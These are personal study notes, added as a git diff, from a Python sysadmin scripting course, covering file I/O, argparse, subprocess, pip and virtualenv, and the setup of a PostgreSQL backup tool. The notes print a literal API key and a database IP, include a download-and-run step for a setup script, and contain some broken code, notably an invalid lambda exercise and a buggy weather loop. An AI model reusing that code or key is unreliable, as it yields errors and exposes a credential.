https://python.org/ftp/python/3.6.4/Python-3.6.4.tar.xz +$ tar xf Python-3.6.4.tar.xz +$ cd Python-3.6.4 +$ ./configure --enable-optimizations +$ make altinstall + +// Important: make altinstall causes it to not replace the built in python executable. +``` + +6. upgrade pip +```c +$ sudo pip3.6 install --upgrade pip + +//Ensure that secure_path in /etc/sudoers file includes /usr/local/bin. +//The line should look something like this: +// use / to search + +sudo vim /etc/sudoers +Defaults secure_path = /sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin +``` + +--- + +Key Points About Python: + +- Object-Oriented Scripting Language. +- Dynamic & strong typing system. +- Dynamic types are checked at runtime +- Strong types don’t change implicitly, can’t add 1 and "something". +- Supports functional concepts like map, reduce, filter, and list comprehension. +- Whitespace delimited (no { or } around code blocks) +- Pseudo-code like syntax +- Extremely popular language used across many different disciplines (academia, data science, scripting, web development, etc.). +- Large open source community and public package index (Pypi). +- Runs on all major operating systems (historically more of a pain to run on Windows than Unix systems). Pre-installed on most `*NIX` systems (usually Python 2). +- Supported by large companies such as Google & YouTube. +- Consistently high on the Tiobe Index (one of the most searched programming languages). 4th as of the time of recording this. +- Placed in the Stack Overflow Developer Survey’s top 10 for Most Popular Programming Languages, Most Loved Programming Languages, and placed number 1 as the “Most Wanted Language” (the language that developers want to use the most). diff --git a/_posts/00CodeNote/language/Python/course/Python-SystemAdministratorScript/2.Script.md b/_posts/00CodeNote/language/Python/course/Python-SystemAdministratorScript/2.Script.md new file mode 100644 index 00000000000..33ce6426709 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python-SystemAdministratorScript/2.Script.md @@ -0,0 +1,1124 @@ +# Python 3 Scripting for System Administrators + +[toc] + +From the linuxacademy: [Python 3 Scripting for System Administrators](https://linuxacademy.com/cp/courses/lesson/course/1680/lesson/1) + + +--- + +## basic + +```c + +1. REPL = read evaluate print loop + + >>> 1+1 + 2 + // every line gaves the answer value + + +2. script + + $ vim hello.py + // print("Hello, World!") + + $ python3.6 hello.py + Hello, World! + + +3. Set a Shebang +// Executable from anywhere (in $PATH). +// Executable without explicitly using the python3.6 CLI. + + $ vim hello.py + // #!/usr/bin/env python3.6 + // print("Hello, World") + + $ chmod u+x hello.py + $ ./hello.py + Hello, World! + + +4. Adding Scripts to Our $PATH + +$ echo $PATH +/home/server/bin:/home/server/.local/bin:/home/server/bin:/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin + +// using a bin directory in $HOME folder to store custom scripts +// create a bin directory and move our script: + +$ mkdir ~/bin +$ mv hello ~/bin/ + +// add this directory to the $PATH in our .bashrc +// (the .bashrc for this course already contains this): +// $ export PATH=$HOME/bin:$PATH + +// run the hello script from our $PATH: + +$ hello +Hello, World! +``` + +--- + +# basic script + +1. age + +```py +#!/usr/bin/env python3.6 + +name = input("What is your name? ") +birthdate = input("What is your birthdate? ") +age = int(input("How old are you? ")) + + +print(f"{name} was born on {birthdate}") +print(f"Half of your age is {age / 2}") +``` + +```c +$ vim /bin/age +$ chmod u+x bin/age +$ age +``` + + +2. bmi + + + +```py +#!/usr/bin/env python3.6 +# BMI = (weight in kg / height in meters squared ) + +# Gathering Info +def gather_info(): + height = float(input("What is your height? (inches or meters) ")) + weight = float(input("What is your weight? (pounds or kilograms) ")) + system = input("Are your measurements in metric or imperial units? ").lower().strip() + return (height, weight, system) +# converting the height and weight into float values + + +# Calculating and Printing the BMI +def calculate_bmi(weight, height, system='metric'): + """ + Return the Body Mass Index (BMI) for the + given weight, height, and measurement system. + """ + if system == 'metric': + bmi = (weight / (height ** 2)) + else: + bmi = 703 * (weight / (height ** 2)) + return bmi + + +# Setting Up The Script’s Flow +while True: + height, weight, system = gather_info() + if system.startswith('i'): + bmi = calculate_bmi(weight, system='imperial', height=height) + print(f"Your BMI is {bmi}") + break + elif system.startswith('m'): + bmi = calculate_bmi(weight, height) + print(f"Your BMI is {bmi}") + break + else: + print("Error: Unknown measurement system. Please use imperial or metric.") +``` + +```c +chmod u+x ~/bin/bmi +~/bin/bmi +``` + +--- + +## script using package `Stopwatch` + +Packages: a lot of functions that can import them from the standard library. + +```py +>>> import time +>>> now = time.localtime() +>>> now +time.struct_time(tm_year=2020, tm_mon=7, tm_mday=1, tm_hour=10, tm_min=59, tm_sec=4, tm_wday=2, tm_yday=183, tm_isdst=1) +``` + +returns a time.struct_time to use that has some `attributes` +interact with using a period (.): + +```py +>>> now.tm_hour +15 +``` + + +```py +#!/usr/bin/env python3.6 + +import time +# good practice to only import what need +from MODULE import FUNC1, FUNC2, etc... + +start_time = time.localtime() +print(f"Timer started at {time.strftime('%X', start_time)}") + +#Wait for user to stop timer +input("Press 'Enter' to stop timer ") + +stop_time = time.localtime() + +difference = time.mktime(stop_time) - time.mktime(start_time) + +print(f"Timer stopped at {time.strftime('%X', stop_time)}") +print(f"Total time: {difference} seconds") + +$ stopwatch +Timer started at 11:10:30 +Press 'Enter' to stop timer +Timer stopped at 11:10:36 +Total time: 6.0 seconds +``` + +--- + +## work with environment variables `variable=xxx running` + +create a simple script that will read a 'STAGE' environment variable and print out what stage we’re currently running in: + +```py +#!/usr/bin/env python3.6 + +import os +# able to access a lot of miscellaneous operating system level attributes and functions, not the least of which is the environ object. This object behaves like a dictionary, so we can use the subscript operation to read from it. + +stage = os.environ["STAGE"].upper() + +output = f"We're running in {stage}" + +if stage.startswith("PROD"): + output = "DANGER!!! - " + output + +print(output) + + +# if the 'STAGE' environment variable isn’t set though? + + $ running + Traceback (most recent call last): + File "/home/user/bin/running", line 5, in + stage = os.environ["STAGE"].upper() + File "/usr/local/lib/python3.6/os.py", line 669, in __getitem__ + raise KeyError(key) from None + KeyError: 'STAGE' + # This potential KeyError is the biggest downfall of using os.environ, and the reason that we will usually use os.getenv. + + +# set the environment variable + + $ STAGE=staging running + We're running in STAGING + + $ STAGE=production running + DANGER!!! - We're running in PRODUCTION +``` + +### Handling A Missing Environment Variable + +If the 'STAGE' environment variable isn’t set, then we want to default to 'DEV', and we can do that by using the os.getenv function: + +```py +#!/usr/bin/env python3.6 + +import os + +stage = os.getenv("STAGE", "dev").upper() + +output = f"We're running in {stage}" + +if stage.startswith("PROD"): + output = "DANGER!!! - " + output + +print(output) + +# Now if we run our script without a 'STAGE' we won’t have an error: + +$ running +We're running in DEV +``` + +--- + +## Interacting with Files + +read the contents of a file in a script + +create a text file: +```c +~/xmen_base.txt + +Storm +Wolverine +Cyclops +Bishop +Nightcrawler +``` + +### Read `open('xx.txt', 'r')` + +```py +# open function: connect to file by specifying the path and the mode. +>>> xmen_file = open('xmen_base.txt', 'r') +>>> xmen_file +<_io.TextIOWrapper name='xmen_base.txt' mode='r' encoding='UTF-8'> + + +# gives all the content as a single string at 1st time +# gave an empty string at second time. +>>> xmen_file.read() +'Storm\nWolverine\nCyclops\nBishop\nNightcrawler\n' + +>>> xmen_file.read() +'' + + +# to reread the file + +1. move the beginning of the file using the seek function: + + >>> xmen_file.seek(0) + 0 + >>> xmen_file.read() + 'Storm\nWolverine\nCyclops\nBishop\nNightcrawler\n' + >>> xmen_file.seek(6) + 6 + >>> xmen_file.read() + 'Wolverine\nCyclops\nBishop\nNightcrawler\n' + + + +2. use for loop: + +>>> xmen_file.seek(0) +0 +>>> for line in xmen_file: +... print(line, end="") +... +Storm +Wolverine +Cyclops +Bishop +Nightcrawler + +# added a custom end, because there were already newline characters (\n) in each line. + +# important to close connection to the file + +>>> xmen_file.close() + +>>> xmen_file.read() +Traceback (most recent call last): + File "", line 1, in +ValueError: I/O operation on closed file. +``` + + +### Write `open('xx.txt', 'r+/w')` + +1. create and Write + +```py +>>> xmen_base = open('xmen_base.txt') + +>>> new_xmen = open('new_xmen.txt', 'w') +>>> new_xmen.write(xmen_base.read()) +>>> new_xmen.close() + + +>>> new_xmen = open(new_xmen.name, 'r+') +>>> new_xmen.read() +'Storm\nWolverine\nCyclops\nBishop\nNightcrawler\n' +>>> new_xmen.close() +``` + + +2. edit + +```py +# r+ : add +>>> new_xmen = open(new_xmen.name, 'r+') +>>> new_xmen.read() +'Storm\nWolverine\nCyclops\nBishop\nNightcrawler\n' + +>>> new_xmen.seek(0) +>>> new_xmen.write("Beast\n") +>>> new_xmen.write("Phoenix\n") + +$ cat new_xmen.txt +Beast +Phoenix +e +Cyclops +Bishop +Nightcrawler + + +# w : the pre-existing contents will be truncated. +>>> new_xmen = open(new_xmen.name, 'w') +>>> new_xmen.seek(0) +>>> new_xmen.write("Beast\n") +>>> new_xmen.write("Phoenix\n") +Beast +Phoenix +``` + +### Appending to a File `open('xx.txt', 'a')` +A fairly common thing to want to do is to append to a file without reading its current contents. This can be done with the a mode. Let’s close the xmen_base.txt file and reopen it in the a mode to add another name without worrying about losing our original content. This time, we’re going to use the with statement to temporarily open the file and have it automatically closed after our code block has executed: + +```py +>>> xmen_file.close() + +>>> with open('xmen_base.txt', 'a') as f: +... f.write('Professor Xavier\n') +17 + +>>> f = open('xmen_base.txt', 'a') +>>> with f: +... f.write("Something\n") +10 + + +$ cat xmen_base.txt +Storm +Wolverine +Cyclops +Bishop +Nightcrawler +Professor Xavier +Something +``` + +--- + +# Intermediate Scripting + +## Accepting Simple Positional Arguments `param_echo` + +1. `sys.argv[0]` + +```py +#!/usr/bin/env python3.6 + +import sys + +print(f"First argument {sys.argv[0]}") +``` + +```c +$ chmod u+x ~/bin/param_echo +$ param_echo testing +First argument /home/user/bin/param_echo +``` + +2. `sys.argv[1]` + +```py +#!/usr/bin/env python3.6 + +import sys + +print(f"First argument {sys.argv[0]}") +print(f"First argument: {sys.argv[1]}") +print(f"Positional arguments: {sys.argv[1:]}") + +$ param_echo testing +First argument /home/server/bin/param_echo +First argument: testing +Positional arguments: ['testing'] + +$ param_echo testing testing12 'another argument' +First argument /home/server/bin/param_echo +First argument: testing +Positional arguments: ['testing', 'testing12', 'another argument'] + +$ param_echo +Positional arguments: [] +Traceback (most recent call last): + File "/home/user/bin/param_echo", line 6, in + print(f"First argument: {sys.argv[1]}") +IndexError: list index out of range +``` + +--- + +## Robust CLIs with 'argparse' `reverse-file` + +simple scripts with positional arguments, `sys.argv` + +provide a better command-line user experience, `argparse` +命令行解析包,用于编写可读性非常好的程序 + +![Screen Shot 2020-07-01 at 14.37.34](https://i.imgur.com/mgtgmU0.png) + + +```py +#!/usr/bin/env python3.6 + +import argparse + +# 1. build the parser +# created an instance of ArgumentParser without any arguments. +parser = argparse.ArgumentParser() +parser.add_argument('filename', help='the file to read') +args = parser.parse_args() +print(args) + + $ reverse_file + usage: reverse_file [-h] filename + reverse_file: error: the following arguments are required: filename + + $ reverse_file fake.txt + Namespace(filename='fake.txt') + + >>> args.filename + 'testing.txt' + + $ reverse_file --help + usage: reverse_file [-h] filename + + positional arguments: + filename the file to read + + optional arguments: + -h, --help show this help message and exit + + +parser = argparse.ArgumentParser(description='Read a file in reverse') +parser.add_argument('filename', help='the file to read') +parser.add_argument('--limit', '-l', type=int, help='the number of file to read') +parser.add_argument('--version', '-v', action='version', version='%(prog)s 1.0') +args = parser.parse_args() +print(args) + + $ reverse_file fake.txt + Namespace(filename='fake.txt', limit=None) + + $ reverse_file -v + reverse_file 1.0 + + +2. parse the arguments +# Adding Logic, use our file IO knowledge in a script: +3. read the file, reverse the contents and print + + +with open(args.filename) as f: + lines = f.readlines() + lines.reverse() + + if args.limit: + lines = lines[:args.limit] + + for line in lines: + print(line.strip()[::-1]) + + +$ reverse-file xmen_base.txt +gnihtemoS +reivaX rosseforP +relwarcthgiN +pohsiB +spolcyC +enirevloW +mrotS + +~ $ reverse-file -limit 2 xmen_base.txt +gnihtemoS +reivaX rosseforP +``` + +--- + +## Handling Errors with try/except/else/finally + +```py +#!/usr/bin/env python3.6 +import argparse + +parser = argparse.ArgumentParser(description='Read a file in reverse') +parser.add_argument('filename', help='the file to read') +parser.add_argument('--limit', '-l', type=int, help='the number of lines to read') +parser.add_argument('--version', '-v', action='version', version='%(prog)s verison 1.0') +args = parser.parse_args() + +try: + f = open(args.filename) + limit = args.limit +except FileNotFoundError as err: + print(f"Error: {err}") +else: + with f: + lines = f.readlines() + lines.reverse() + + if limit: + lines = lines[:limit] + + for line in lines: + print(line.strip()[::-1]) + +$ reverse-file fake.txt +Error: [Errno 2] No such file or directory: 'fake.txt' +``` + +--- + +## Exit Statuses `0 to 1` + +```py +#!/usr/bin/env python3.6 +import argparse +import sys + +parser = argparse.ArgumentParser(description='Read a file in reverse') +parser.add_argument('filename', help='the file to read') +parser.add_argument('--limit', '-l', type=int, help='the number of lines to read') +parser.add_argument('--version', '-v', action='version', version='%(prog)s verison 1.0') +args = parser.parse_args() + +try: + f = open(args.filename) + limit = args.limit +except FileNotFoundError as err: + print(f"Error: {err}") + sys.exit(2) +else: + with f: + lines = f.readlines() + lines.reverse() + + if limit: + lines = lines[:limit] + + for line in lines: + print(line.strip()[::-1]) + +$ echo $? +0 + +$ reverse_file fake.txt +Error: [Errno 2] No such file or directory: 'fake.txt' + +$ echo $? +2 +``` + +--- + +## Execute Shell Commands from Py `proc = subprocess.run()` + +interact with external processes + +```py +>>> import subprocess +>>> proc = subprocess.run(['ls', '-l']) +total 20 +drwxrwxr-x. 2 user user 54 Jan 28 15:36 bin +drwxr-xr-x. 2 user user 6 Jan 7 2015 Desktop + +>>> proc +CompletedProcess(args=['ls', '-l'], returncode=0) +>>> proc.returncode +0 +>>> proc.args +['ls', '-l'] + +# proc variable is a CompletedProcess object +# returncode attribute = exit status, ensure succeeded and returned a 0. +``` + +the ls command was executed and printed to screen without specifying to print. +- get around this by capturing `STDOUT` using a subprocess.PIPE. + +```py +>>> proc = subprocess.run( +... ['ls', '-l'], +... stdout=subprocess.PIPE, +... stderr=subprocess.PIPE, +... ) + +>>> proc +CompletedProcess(args=['ls', '-l'], returncode=0, stdout=b'total 20\ndrwxrwxr-x. 2 user user 54 Jan 28 15:36 bin\ndrwxr-xr-x. 2 user user 6 Jan 7 2015 Desktop\n-rw-rw-r--. 1 user user 44 Jan 26 22:16 new_xmen.txt\n-rw-rw-r--. 1 user user 98 Jan 26 21:39 read_file.py\n-rw-rw-r--. 1 user user 431 Aug 6 2015 VNCHOWTO\n-rw-rw-r--. 1 user user 61 Jan 28 14:11 xmen_base.txt\n-rw-------. 1 user user 68 Mar 18 2016 xrdp-chansrv.log\n', stderr=b'') + +>>> proc.stdout +b'total 20\ndrwxrwxr-x. 2 user user 54 Jan 28 15:36 bin\ndrwxr-xr-x. 2 user user 6 Jan 7 2015 Desktop\n-rw-rw-r--. 1 user user 44 Jan 26 22:16 new_xmen.txt\n-rw-rw-r--. 1 user user 98 Jan 26 21:39 read_file.py\n-rw-rw-r--. 1 user user 431 Aug 6 2015 VNCHOWTO\n-rw-rw-r--. 1 user user 61 Jan 28 14:11 xmen_base.txt\n-rw-------. 1 user user 68 Mar 18 2016 xrdp-chansrv.log\n' + +# b = bit object, has not been decoded, \n, no $, + +>>> print(proc.stdout) +b'total 20\ndrwxrwxr-x. 2 user user 54 Jan 28 15:36 bin\ndrwxr-xr-x. 2 user user 6 Jan 7 2015 Desktop\n-rw-rw-r--. 1 user user 44 Jan 26 22:16 new_xmen.txt\n-rw-rw-r--. 1 user user 98 Jan 26 21:39 read_file.py\n-rw-rw-r--. 1 user user 431 Aug 6 2015 VNCHOWTO\n-rw-rw-r--. 1 user user 61 Jan 28 14:11 xmen_base.txt\n-rw-------. 1 user user 68 Mar 18 2016 xrdp-chansrv.log\n' + +>>> print(proc.stdout.decode()) +total 20 +drwxrwxr-x. 2 user user 54 Jan 28 15:36 bin +drwxr-xr-x. 2 user user 6 Jan 7 2015 Desktop +``` + +Intentionally Raising Errors +The `subprocess.run `function will not raise an error by default if you execute something that returns a non-zero exit status. + +```py +>>> new_proc = subprocess.run(['cat', 'fake.txt']) +cat: fake.txt: No such file or directory + +>>> new_proc +CompletedProcess(args=['cat', 'fake.txt'], returncode=1) + + +# check argument: raise a subprocess.CalledProcessError if something goes wrong: + +>>> error_proc = subprocess.run(['cat', 'fake.txt'], check=True) +cat: fake.txt: No such file or directory +Traceback (most recent call last): + File "", line 1, in + File "/usr/local/lib/python3.6/subprocess.py", line 418, in run + output=stdout, stderr=stderr) +subprocess.CalledProcessError: Command '['cat', 'fake.txt']' returned non-zero exit status 1. +``` + +--- + +## Advanced Iteration with List Comprehensions `contains` + +```c +installed +$ sudo yum install -y words + +$ wc -l /usr/share/dict/words +479828 /usr/share/dict/words +``` + +write a script that takes a word that then returns all of the values in the “words” file on our machine that contain the word. + +```py +#!/usr/bin/env python3.6 +import argparse + +parser = argparse.ArgumentParser(description='Search for words including partial word') +parser.add_argument('snippet', help='partial (or complete) string to search for in words') +args = parser.parse_args() + +snippet = args.snippet.lower() + +with open('/usr/share/dict/words') as f: + words = f.readlines() + +matches = [] + +# for word in words: +# if snippet in word.lower(): +# matches.append(word) + +matches=[word.strip() for word in words if snippet in word.lower()] + +print(matches) +``` + +```c +$ chmod u+x bin/contains +$ contains Keith +['Keith\n', 'Keithley\n', 'Keithsburg\n', 'Keithville\n'] + +Note: Depending on your system’s words file your results may vary. +``` + +--- + +## practice + +1. Exercise: Working with If/Else + +```py +#!/usr/bin/env python3.6 + +user = { 'admin': True, 'active': True, 'name': 'Kevin' } +prefix = "" + +if user['admin'] and user['active']: + prefix = "ACTIVE - (ADMIN) " +elif user['admin']: + prefix = "(ADMIN) " +elif user['active']: + prefix = "ACTIVE - " + +print(prefix + user['name']) +``` + + +1. Exercise: Working with If/Else + +```py +#!/usr/bin/env python3.6 + +users = [user1, user2, user3] +user1 = { 'admin': True, 'active': True, 'name': 'Kevin' } +user2 = { 'admin': False, 'active': True, 'name': 'bob' } +user3 = { 'admin': False, 'active': False, 'name': 'jenny' } + +prefix = "" + +for user in users: +adminlist = [lambda user['name']: user in users if user['admin'] == True] + + +if user['admin'] and user['active']: + prefix = "ACTIVE - (ADMIN) " +elif user['admin']: + prefix = "(ADMIN) " +elif user['active']: + prefix = "ACTIVE - " + +print(prefix + user['name']) +``` + +```py +users = [ + { 'admin': True, 'active': True, 'name': 'Kevin' }, + { 'admin': True, 'active': False, 'name': 'Elisabeth' }, + { 'admin': False, 'active': True, 'name': 'Josh' }, + { 'admin': False, 'active': False, 'name': 'Kim' }, +] + +line = 1 + +for user in users: + prefix = f"{line} " + + if user['admin'] and user['active']: + prefix += "ACTIVE - (ADMIN) " + elif user['admin']: + prefix += "(ADMIN) " + elif user['active']: + prefix += "ACTIVE - " + + print(prefix + user['name']) + line += 1 +``` + +--- + +# Useful Standard Library Packages + +## random & json + +**Generating Random Test Data** + +To write our receipt reconciliation tool, we need to have some receipts to work with as we’re testing out our implementation. We’re expecting receipts to be JSON files that contain some specific data and we’re going to write a script that will create some receipts for us. + +We’re working on a system that requires some local paths, so let’s put what we’re doing in a receipts directory: + +```c +$ mkdir -p receipts/new +$ cd receipts +``` + +The receipts that haven’t been reconciled will go in the new directory, so we’ve already created that. + +create a `gen_receipts.py` file +- to create some unreconciled receipts when we run it: + +```py +import random +import os +import json + +count = int(os.getenv("FILE_COUNT") or 100) +# python3.6 gen_receipts --> 100 +# FILE_COUNT=99 python3.6 gen_receipts --> 99 + +words = [word.strip() for word in open('/usr/share/dict/words').readlines()] + + +for identifier in range(count): + amount = random.uniform(1.0, 1000) + content = { + 'topic': random.choice(words), + 'value': "%.2f" % amount + } + with open(f'./new/receipt-{identifier}.json', 'w') as f: + json.dump(content, f) +``` + +`json.dump` function: ensure write out valid JSON +`random.choice`: select one item from an iterable (str, tuple, or list). +`random.uniform`: gives a float between the two bounds specified. This code does show us how to create a range, which takes a starting number and an ending number and can be iterated through the values between. + +```c +$ FILE_COUNT=10 python3.6 gen_receipts.py + +$ ls new/ +receipt-0.json receipt-2.json receipt-4.json receipt-6.json receipt-8.json +receipt-1.json receipt-3.json receipt-5.json receipt-7.json receipt-9.json + +$ cat new/receipt-0.json +{"topic": "microceratous", "value": "918.67"} +``` + +--- + +## shutil & glob + +open the `.json` file in `./new`, calculate the number inside, and move the file to new directory. + +```c +$ cat new/receipt-0.json +{"topic": "microceratous", "value": "918.67"} +``` + +```py +import os +import glob +import json +import shutil + +# 1. create a directory +try: + os.mkdir("./processed") +except OSError: + print("the folder already existed") + +# 2. collect files based on patterns +receipts = glob.glob("./new/receipt-[0-9].json") +subtotal = 0.0 + +# 3. Reading JSON, Totaling Values, and Moving Files +# 3.1 Iterate over the receipts +for path in receipts: + with open(path) as f: + # 3.2 Reading each receipt’s JSON + # {"topic": "microceratous", "value": "918.67"} + content = json.load(f) + # 3.3 Totaling the value of the receipts + subtotal += float(content["value"]) + receipt_name = path.split('/')[-1] + # 3.4 Moving each receipt file to the processed directory + destination = f"./processed/{receipt_name}" + shutil.move(path, destination) + print(f"moved {path} to {destination}") +print("Receipt subtotol: $%.2f" % subtotal) +``` + +--- + +## re & math + + +```py +import os +import glob +import json +import shutil + +# 1. create a directory +try: + os.mkdir("./processed") +except OSError: + print("the folder already existed") + +# 2. collect files based on patterns +subtotal = 0.0 + +# 3. Reading JSON, Totaling Values, and Moving Files +# 3.1 Iterate over the receipts +for path in glob.iglob("./new/receipt-[0-9].json"): + with open(path) as f: + # 3.2 Reading each receipt’s JSON + # {"topic": "microceratous", "value": "918.67"} + content = json.load(f) + # 3.3 Totaling the value of the receipts + subtotal += float(content["value"]) + # 3.4 Moving each receipt file to the processed directory + destination = path.replace("new", "processed") + shutil.move(path, destination) + print(f"moved {path} to {destination}") + +import math + +print("Receipt subtotol: $%.2f" % subtotal) +print(f"Receipt subtotol: {math.ceil(subtotal)}") # big +print(f"Receipt subtotol: {math.floor(subtotal)}") # small +print(f"Receipt subtotol: {round(subtotal,2)}") + +``` + +BONUS: Truncate Float Without Rounding + +I mentioned in the video that you can do some more complicated math to print a number to a specified number of digits without rounding. +Here’s an example a function that would do the truncation (for those curious): + +```py +>>> import math + +>>> def ftruncate(f, ndigits=None): +... if ndigits and (ndigits > 0): +... multiplier = 10 ** ndigits +... num = math.floor(f * multiplier) / multiplier +... else: +... num = math.floor(f) +... return num + +>>> num = 1.5441020468646993 + +>>> ftruncate(num) +1 +>>> ftruncate(num, 2) +1.54 +>>> ftruncate(num, 8) +1.54410204 +``` + +--- + +# Using Pip and Virtualenv + +## pip + +```c +pip3.6 list + +pip3.6 install boto3 + +pip3.6 freeze > requirements.txt + +pip3.6 uninstall -y -r requirements.txt + +pip3.6 install --usr -r requirements.txt +// put it in the different directory +``` + +--- + +## Virtualenv + +pip only 1 version + +Virtualenvs +- allow you to create sandboxed Python environments. +- In Python 2, need to install the virtualenv package to do this, +- in Python 3 it’s been worked in under the module name of venv. +- Virtualenvs are local Python installations with their own site-packages, and they do absolutely nothing for us by default. + +```c +// 1. To create a virtualenv +$ python3.6 -m venv [PATH FOR VIRTUALENV] + +// The -m flag loads a module as a script, so it looks a little weird, but “python3.6 -m venv” is a stand-alone tool. This tool can even handle its own flags. + +$ mkdir venvs +$ python3.6 -m venv venvs/experiment + +// To use a virtualenv, activate it. +// sourcing an activate file in the virtualenv’s bin directory: +$ source venvs/experiment/bin/activate + +(experiment) ~ $ + +// It also changes our $PATH: + +(experiment) ~ $ echo $PATH +/home/user/venvs/experiment/bin:/home/user/bin:/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/home/user/.local/bin:/home/user/bin + +(experiment) ~ $ which python +~/venvs/experiment/bin/python + +(experiment) ~ $ python --version +Python 3.6.4 + +(experiment) ~ $ pip list +Package Version +---------- ------- +pip 9.0.1 +setuptools 28.8.0 + +// exit virtualenv +(experiment) ~ $ deactivate + +$ which python +/usr/bin/python +``` + +--- + +## Using Third-Party Packages in Your Scripts `weather` + +```py + +$ pip install requests +$ export OWM_API_KEY="16e8196b193e13d251f236d67e45b7e6" + +# 1. Creating a Weather Script + +#!/usr/bin/env python3.6 + +import requests # for http +import os # give variable +import sys # give error status +from argparse import ArgumentParser + + +# get the functions +parser = ArgumentParser(description='give a zipcode and return the current weather information') +parser.add_argument('zip', help='zip/postal code to get the weather for') +parser.add_argument('--country', default='us', help='the country of the location') +args = parser.parse_args() + + +# check the api_key +api_key = os.getenv('OWM_API_KEY') + +if not api_key: + print("Error: no 'OWM_API_KEY' provided") + sys.exit(1) + +# create the url + +url = f'https://api.openweathermap.org/data/2.5/weather?zip={args.zip},{args.country}&appid={api_key}&units=metric' + +res = requests.get(url) + +if res.status_code != 200: + print(f"Error talking to weather provider: {res.status_code}") + sys.exit(1) + +print(res.json()) + +text = res.json() +for section in text: + print(section, text['section']) + +``` + + + +{'coord': {'lon': -122.33, 'lat': 47.59}, 'weather': [{'id': 500, 'main': 'Rain', 'description': 'light rain', 'icon': '10d'}], 'base': 'stations', 'main': {'temp': 289.89, 'feels_like': 286.52, 'temp_min': 288.71, 'temp_max': 291.15, 'pressure': 1013, 'humidity': 67}, 'visibility': 16093, 'wind': {'speed': 5.1, 'deg': 190}, 'clouds': {'all': 90}, 'dt': 1593648007, 'sys': {'type': 1, 'id': 3417, 'country': 'US', 'sunrise': 1593605759, 'sunset': 1593663018}, 'timezone': -25200, 'id': 0, 'name': 'Seattle', 'cod': 200} + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python-SystemAdministratorScript/3.final.md b/_posts/00CodeNote/language/Python/course/Python-SystemAdministratorScript/3.final.md new file mode 100644 index 00000000000..22a39f96cfc --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python-SystemAdministratorScript/3.final.md @@ -0,0 +1,1168 @@ + +# Python 3 Scripting for System Administrators + +[toc] + +From the linuxacademy: [Python 3 Scripting for System Administrators](https://linuxacademy.com/cp/courses/lesson/course/1680/lesson/1) + + +--- + +## The Project + +We have many database servers that we manage +create a single tool that can use to easily back up the databases to either AWS S3 or locally. + +We would like to be able to: +- Specify the database URL to backup. +- Specify a “driver” (local or s3) +- Specify the backup “destination”. This will be a file path for local and a bucket name for s3. +- Depending on the “driver”, create a local backup of the database or upload the backup to an S3 bucket. + + +Links For This Video: +- [db_setup.sh](https://raw.githubusercontent.com/linuxacademy/content-python3-sysadmin/master/helpers/db_setup.sh) +- PostgreSQL RPM + +--- + +## install + +### Sett up PostgreSQL Lab Server + +need a PostgreSQL database to work with. + +```c +$ curl -o db_setup.sh https://raw.githubusercontent.com/linuxacademy/content-python3-sysadmin/master/helpers/db_setup.sh +$ chmod +x db_setup.sh +$ ./db_setup.sh +``` + +### install The Postgres 9.6 Client in dev pc + +```c +$ wget https://download.postgresql.org/pub/repos/yum/9.6/redhat/rhel-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm +$ sudo yum install -y pgdg-redhat-repo-latest.noarch.rpm +$ sudo yum update -y +$ sudo yum autoremove -y postgresql +$ sudo yum install -y postgresql96 +``` + +```c +# Install the repository RPM: +dnf install https://download.postgresql.org/pub/repos/yum/reporpms/EL-8-x86_64/pgdg-redhat-repo-latest.noarch.rpm + +# Disable the built-in PostgreSQL module: +dnf -qy module disable postgresql + +# Install PostgreSQL: +dnf install postgresql96-server + +# Optionally initialize the database and enable automatic start: +/usr/pgsql-9.6/bin/postgresql96-setup initdb +systemctl enable postgresql-9.6 +systemctl start postgresql-9.6 +``` + +### Test connection from Workstation + +```c +$ psql postgres://[USERNAME]:[PASSWORD]@[SERVER_IP]:80/sample -c "SELECT count(id) FROM employees;" + +$ psql postgres://user:passwd@54.183.238.187:80/sample -c "SELECT count(id) FROM employees;" + count +------- + 1000 +(1 row) +``` + +--- + +## Planning Through Documentation + +### Creating the Repo and Virtualenv + +building a project that will be more than a single file, create a full project complete with source control and dependencies. + +### 1. start by creating the directory for project + +```c +$ rm ~/requirements.txt +$ mkdir -p ~/code/pgbackup +$ cd ~/code/pgbackup +``` + +### 2. setup virtualenv +- `pip` and `virtualenvs`: allow to manage dependency versions. +- `pipenv`: a new tool to manage project’s virtualenv and install dependencies. + +```c +// install pipenv for user +// create a Python 3 virtualenv for project + +$ pip3.6 install --user pipenv + +$ pipenv --python $(which python3.6) +✔ Successfully created virtual environment! +Virtualenv location: /home/server/.local/share/virtualenvs/pgbackup-uP_oEm6K +Creating a Pipfile for this project… +// Rather than creating a requirements.txt file +// pipenv has created a Pipfile: to store virtualenv and dependency information. +// To activate our new virtualenv, use the command pipenv shell +// to deactivate, use exit instead of deactivate. +``` + +### 3. set up git +- set up git as our source control management tool by initializing our repository. +- add a `.gitignore` file from GitHub so that we don’t later track files that we don’t mean to. + +```c +$ git init +$ curl https://raw.githubusercontent.com/github/gitignore/master/Python.gitignore -o .gitignore +``` + +### 4. Sketch out the `README.rst` +- start planning out a project is to start by documenting it from the top level. +- This is the documentation give to someone who wanted to know how to use the tool but didn’t care about creating the tool. +- This approach is sometimes called “README Driven Development”. Whenever we write documentation in a Python project, we should be using `reStructuredText`. +- We use this specific markup format because there are tools in the Python ecosystem that can read this text and render documentation in a standardized way. + + +```c +// ~/code/pgbackup/README.rst + +pgbackup +======== + +CLI for backing up remote PostgreSQL databases locally or to AWS S3. + + +Preparing for Development +------------------------- + +1. Ensure ``pip`` and ``pipenv`` are installed +2. Clone repository: ``git clone git@github.com:example/pgbackup`` +3. ``cd`` into repository +4. Fetch development dependencies ``make install`` +5. Activate virtualenv: ``pipenv shell`` + + +Usage +----- + +Pass in a full database URL, the storage driver, and destination. + + +1. S3 Example w/ bucket name: + +:: + + $ pgbackup postgres://bob@example.com:5432/db_one --driver s3 backups + + +2. Local Example w/ local path: + +:: + + $ pgbackup postgres://bob@example.com:5432/db_one --driver local /var/local/db_one/backups + + +Running Tests +------------- + +1. Run tests locally using make if virtualenv is active: + +:: + + $ make + +2. If virtualenv isn’t active then use: + +:: + + $ pipenv run make +``` + +### 5. Our Initial Commit + +```c +$ git add --all . +$ git status +On branch master +No commits 